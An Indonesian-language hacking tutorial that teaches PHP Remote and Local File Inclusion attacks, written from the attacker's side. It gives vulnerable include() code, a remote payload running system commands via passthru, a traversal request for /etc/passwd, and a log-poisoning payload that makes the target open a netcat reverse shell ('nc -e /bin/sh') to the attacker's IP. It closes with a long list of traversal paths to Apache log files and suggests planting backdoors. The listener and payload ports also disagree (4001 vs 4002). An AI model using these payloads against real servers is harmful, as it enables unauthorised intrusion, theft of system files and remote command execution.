Topik kali ini kita sekedar membahas tentang keamanan suatu server, aplikasi yang lagi populer saat ini yaitu “Remote File Inclusion” atau “Local File Inclusion”, atau biasa disingkat
RFI atau
LFI, adapun makna dari file inclusion ini ialah penyisipan kode ke file .php, dengan memamfaatkan suatu kesalahan kode di file .php itu sendiri, secara remote yaitu file tersebut tidak berada disatu tempat bersama server, secara local yaitu file tersebut berada disatu tempat bersama server. adapun perintah dalam bahasa pemograman .php yang memperbolehkan penyisipan file php adalah:
include, include_once, require, require_once. Penyisipan sebuah kode jahat bisa dilakukan secara remote atau mesin berbeda dengan server, bisa menggunakan protokol
http:// https:// ftp:// smb:// atau biasa disebut “File Inclusion”, jika sebuah penyisipan kode jahat gagal mungkin settingan
allow_url_include berada dalam kondisi
Off pada
php.ini. Penyerang yang sadar bahwa aksi penyusupan kode jahat gagal selanjutnya ia mencoba teknik “Local File Inclusion” dimana penyisipan halaman berada dalam satu server yang sama. contoh kode .php sederhana yg ada kelemahannya:
<?php
$page = $_GET['page'];
include($page);
?>
Jikalau dijalankan maka akan muncul error:
Notice: Undefined index: page in /var/www/htdocs/page.php on line 2
Warning: include() [function.include]: Failed opening ” for inclusion (include_path=’.:/usr/lib/php’) in /var/www/htdocs/page.php on line 3
Perhatikan kesalahan kode di baris ke-3 fungsi perintah inclusion ‘page’ dan dalam kesalahan ini dapat dimamfaatkan untuk memasukkan kode jahat, lihat perintah berikut:
http://hong.web.id/page.php?page=…..attacker/kode.txt
Didalam file kode.txt dapat diisi kode yang kita inginkan seperti disini berikut contohnya:
<?
echo “”.passthru(‘uname -rv’).”";
echo “<p>”;
echo “”.passthru(‘pwd’).”";
echo “<p>”;
echo “”.passthru(‘id’).”";
echo “<p>”;
echo “”.passthru(‘ls’).”";
echo “<p>”;
?>
Jadi kalau diinginkan perintah yang lebih jauh lagi, bisa di ganti sendiri perintah2 didalam file kode.txt tadi, misalkan memasukkan file backdoor telnet atau yang lainnya. (Kreativitas anda ditentukan disini). nah tehnik penyerangan diatas berhasil jikalau tidak ada muncul peringatan seperti berikut:
Warning: include() [function.include]: URL file-access is disabled in the server configuration in /var/www/htdocs/page.php on line 3
Warning: include(http://site.attacker/kode.txt) [function.include]: failed to open stream: no suitable wrapper could be found in /var/www/htdocs/page.php on line 3
Kalau nongol peringatan diatas berarti
RFI tidak dibenarkan, mungkin settingan
php.ini dibagian
allow_url_include berada dalam kondisi
Off. Tapi kita jangan putus asa dulu
, sekarang kita coba tehnik
LFI atau
local file inclusion, dimana file yang akan kita sisipkan dalam hal ini berada disatu tempat bersama server yang akan kita kerjain. Contoh perintahnya:
http://hong.web.id/page.php?page=../../../etc/passwd
Dan jika berhasil, maka akan kelihatan isi file
/etc/passwd di server yang kita kerjain tadi. mau yang lebih keren lagi? misalnya mendapatkan akses ke shellnya? Coba langkah berikut:
- Siapkan 1bh login shell ssh atau apa saja yang penting bisa untuk menjalankan program netcat atau nc.
- Koneksi internet yg ok yah, ngga lelet maksudnya.
- kreativitas, kesabaran anda, rokok jgn lupa yah.
Perhatikan kode yang akan kita masukkan ke server
GET/<? echo “”.passthru(‘nc -e /bin/sh 202.160.160.160 4002′).”"; ?>
Dimana ip 202.160.160.160 adalah ip shell kita yang telah kita siapkan untuk menerima koneksi dari server yang sedang kita kerjain tadi. dimana di shell kita jalankan perintah netcat berikut:
root@hong.web.id:~# nc -l -v -p 4001
Perlu diingat, dimana disini diperlukan sedikit kesabaran dan kerja keras, kode yang telah kita coba jalankan diweb yang kita serang, akan menghasilkan error.log yang disimpan dlm sebuah file, dalam hal ini posisi filenya mungkin berbeda disetiap server. berikut kira2 lokasi file error.log nya:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
../../../../../../../var/log/httpd/error_log
../../../../../../../var/log/httpd/error.log
Atau mungkin berada disatu direktori bersama:
../../../../../../../var/log/httpd/namadomain.org-error_log
../../../../../../../var/log/httpd/namadomain.org-access_log
../../../../../../../home/namauser/public_html/error_log.gz
Sesudah memasukkan kode ‘GET/<? echo “”.passthru(‘nc -e /bin/sh 202.160.160.160 4002′).”"; ?>’ tadi ke web yang sedang kita kerjain, dan kira2 filelognya di ‘../../../../../../../home/namauser/public_html/error_log.gz’, perintah selanjutnya yaitu:
http://hong.web.id/page.php?page=../../../../../../../home/namauser/public_html/error_log.gz
Jika berhasil anda telah melakukan Remote Connect-Back Shell, coba lihat konsole anda yang menjalankan nc tadi, kita akan mendapatkan shell dari target dan kita bisa menjalankan berbagai perintah linux.
Sumber